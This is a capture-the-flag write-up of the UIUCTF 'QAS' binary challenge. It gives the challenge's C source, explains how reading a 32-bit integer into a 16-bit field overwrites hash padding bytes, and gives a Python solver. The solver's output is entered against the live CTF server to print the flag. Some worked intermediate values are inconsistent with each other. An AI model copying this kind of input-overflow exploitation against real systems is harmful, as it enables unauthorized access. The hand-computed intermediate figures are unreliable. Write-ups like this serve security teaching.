QAS
Category
Binary Exploitation
Tags
So we are given a file named handout.tar.gz
which contains a binary file, and the source code of the binary.
chal.c
:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
// Quantum-grade type definitions for maximum security
typedef int not_int_small;
typedef short int_small;
typedef int not_int_big;
typedef not_int_small int_big;
typedef unsigned char quantum_byte;
typedef quantum_byte* quantum_ptr;
// Advanced authentication structures
typedef struct {
not_int_big val;
} PASSWORD_QUANTUM;
typedef struct {
int_small val;
quantum_byte padding[2];
quantum_byte checksum;
quantum_byte reserved;
} INPUT_QUANTUM;
// Memory-aligned structure for optimal quantum processing
struct __attribute__((packed)) quantum_data_s {
INPUT_QUANTUM input;
PASSWORD_QUANTUM password;
quantum_byte entropy_pool[8];
quantum_byte quantum_state[16];
};
typedef struct quantum_data_s quantum_data_t;
// Quantum random number generator (patent pending)
static inline quantum_byte generate_quantum_entropy() {
static quantum_byte seed = 0x42;
seed = ((seed << 3) ^ (seed >> 5)) + 0x7f;
return seed;
}
// Initialize quantum security subsystem
void init_quantum_security(quantum_data_t* qdata) {
for (int i = 0; i < 8; i++) {
qdata->entropy_pool[i] = generate_quantum_entropy();
}
// Initialize quantum state with pseudo-random values
for (int i = 0; i < 16; i++) {
qdata->quantum_state[i] = (quantum_byte)(i * 0x11 + 0x33);
}
qdata->input.padding[0] = 0;
qdata->input.padding[1] = 0;
}
// Quantum hash function (revolutionary technology)
not_int_big quantum_hash(INPUT_QUANTUM input, quantum_byte* entropy) {
int_small input_val = input.val;
not_int_big hash = input_val;
// Apply quantum transformation matrix
hash ^= (entropy[0] << 8) | entropy[1];
hash ^= (entropy[2] << 4) | (entropy[3] >> 4);
hash += (entropy[4] * entropy[5]) & 0xff;
hash ^= entropy[6] ^ entropy[7];
hash |= 0xeee;
hash ^= input.padding[0] << 8 | input.padding[1];
return hash;
}
// Decrypt the victory condition
void access_granted() {
printf("Quantum authentication successful!\n");
printf("Accessing secured vault...\n");
FILE *fp = fopen("flag.txt", "r");
if (fp == NULL) {
printf("Error: Quantum vault is offline\n");
printf("Please contact the quantum administrator.\n");
return;
}
char flag[100];
if (fgets(flag, sizeof(flag), fp) != NULL) {
printf("CLASSIFIED FLAG: %s\n", flag);
} else {
printf("Error: Quantum decryption failed\n");
printf("Please contact the quantum administrator.\n");
}
fclose(fp);
}
int main() {
quantum_data_t qdata;
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
// Initialize quantum security subsystem
init_quantum_security(&qdata);
// Set quantum password (TODO: implement proper quantum key derivation)
qdata.password.val = 0x555;
printf("=== QUANTUM AUTHENTICATION SYSTEM v2.7.3 ===\n");
printf("Initializing quantum security protocols...\n");
// Simulate quantum initialization delay
for (volatile int i = 0; i < 100000; i++) { /* quantum processing */ }
printf("Quantum entropy generated. System ready.\n");
printf("Please enter your quantum authentication code: ");
// Read user input
if (scanf("%d", (int*)&qdata.input.val) != 1) {
printf("Invalid quantum input format!\n");
return 1;
}
// Calculate input checksum for integrity
qdata.input.checksum = (quantum_byte)(qdata.input.val & 0xff);
// Apply quantum hash transformation
not_int_big hashed_input = quantum_hash(qdata.input, qdata.entropy_pool);
printf("Quantum hash computed: 0x%x\n", hashed_input);
// Verify quantum authentication
if (hashed_input == qdata.password.val) {
access_granted();
} else {
printf("Quantum authentication failed!\n");
printf("Access denied. Incident logged.\n");
}
return 0;
}
and also i decided to check the protection of the binary file, so i used checksec
:
❯ checksec --file chal
[*] '/home/b4r/ctf/uiuctf/pwn/qas/handout/chal'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
- No PIE: Code segments at fixed addresses.
- Stack Canary: Prevents traditional stack overflows
- NX: Shellcode injection not possible
Vulnerabilities
The main vulnerability lies in how the program handles user input:
if (scanf("%d", (int*)&qdata.input.val) != 1) {
printf("Invalid quantum input format!\n");
return 1;
}
- The program reads a signed integer (
%d
) but stores it in a short (2-byte) field - This causes an integer overflow that affects adjacent fields:
typedef struct {
int_small val; // 2 bytes
quantum_byte padding[2]; // 2 bytes
quantum_byte checksum;
quantum_byte reserved;
} INPUT_QUANTUM;
Exploitation
- The
quantum_hash
function performs several operations using:
- Input value (
input.val
) - Entropy pool (8 pseudo-random bytes)
- Padding bytes (input.padding)
- By providing a 4-byte integer, we can:
- Set
input.val
(first 2 bytes) - Control
input.padding
(next 2 bytes)
- We need to find padding values that make the final hash equal to
0x555
.
Solution
The entropy pool is generated using a predictable PRNG:
def generate_entropy():
entropy = []
seed = 0x42
for _ in range(8):
seed = ((seed << 3) ^ (seed >> 5)) + 0x7f
seed &= 0xff
entropy.append(seed)
return entropy
entropy = [0x91, 0x0b, 0xd7, 0x3d, 0x68, 0xc2, 0x95, 0x2b]
The hash computation follows these steps:
- Start with input value (
T
) - XOR with (
entropy[0]<<8 | entropy[1]
) - XOR with (
entropy[2]<<4 | entropy[3]>>4
) - Add (
entropy[4]*entropy[5] & 0xff
) - XOR with (
entropy[6]^entropy[7]
) - OR with
0xeee
- XOR with (
padding[0]<<8 | padding[1]
)
We want final_hash = 0x555
. Using T=0:
h = 0
h ^= 0x910b # Step 2 → 0x910b
h ^= 0xd73 # Step 3 → 0x9e78
h += (0x68*0xc2) & 0xff # Step 4 → 0x9f48
h ^= 0xbe # Step 5 → 0x9ff6
h |= 0xeee # Step 6 → 0x9ffe
required_padding = h ^ 0x555 # → 0x9aab
To construct the final input, we need to send an integer where:
- First 2 bytes = input value (
0
) - Next 2 bytes = padding (
0x9aab
)
input_val = 0
padding = 0x9aab
exploit_int = input_val | (padding << 16)
# Convert to signed 32-bit integer
if exploit_int > 0x7fffffff:
exploit_int -= 0x100000000
# Result: -1414594560
Final Exploit
entropy = []
seed = 0x42
for i in range(8):
seed = ((seed << 3) ^ (seed >> 5)) + 0x7f
seed &= 0xff # Keep only the lower byte
entropy.append(seed)
T = 0 # We'll use 0 for input.val
# Step-by-step hash calculation
h = T
# Step 2: XOR with entropy[0:1]
h ^= (entropy[0] << 8) | entropy[1]
# Step 3: XOR with entropy[2:3]
val3 = (entropy[2] << 4) | (entropy[3] >> 4)
h ^= val3
# Step 4: Add product of entropy[4] and entropy[5]
mul = entropy[4] * entropy[5]
h += mul & 0xff
# Step 5: XOR with entropy[6]^entropy[7]
xor5 = entropy[6] ^ entropy[7]
h ^= xor5
# Step 6: OR with 0xeee
h |= 0x0eee
# Calculate required padding
P = h ^ 0x555 # P = (hash_so_far ^ desired_hash)
P &= 0xffff # Ensure it's 16-bit
# Build the input integer
p0 = (P >> 8) & 0xff # High byte of padding
p1 = P & 0xff # Low byte of padding
integer = T | (p0 << 16) | (p1 << 24)
# Convert to signed integer
if integer > 0x7fffffff:
integer -= 0x100000000
print(integer)
Output:
-1415970816
Try first on local:
❯ ./chal
=== QUANTUM AUTHENTICATION SYSTEM v2.7.3 ===
Initializing quantum security protocols...
Quantum entropy generated. System ready.
Please enter your quantum authentication code: -1415970816
Quantum hash computed: 0x555
Quantum authentication successful!
Accessing secured vault...
Error: Quantum vault is offline
Please contact the quantum administrator.
Its correct! Let’s try on the server:
❯ ncat --ssl qas.chal.uiuc.tf 1337
== proof-of-work: disabled ==
=== QUANTUM AUTHENTICATION SYSTEM v2.7.3 ===
Initializing quantum security protocols...
Quantum entropy generated. System ready.
Please enter your quantum authentication code: -1415970816
Quantum hash computed: 0x555
Quantum authentication successful!
Accessing secured vault...
CLASSIFIED FLAG: uiuctf{qu4ntum_0v3rfl0w_2d5ad975653b8f29}
QAS Flag:
uiuctf{qu4ntum_0v3rfl0w_2d5ad975653b8f29}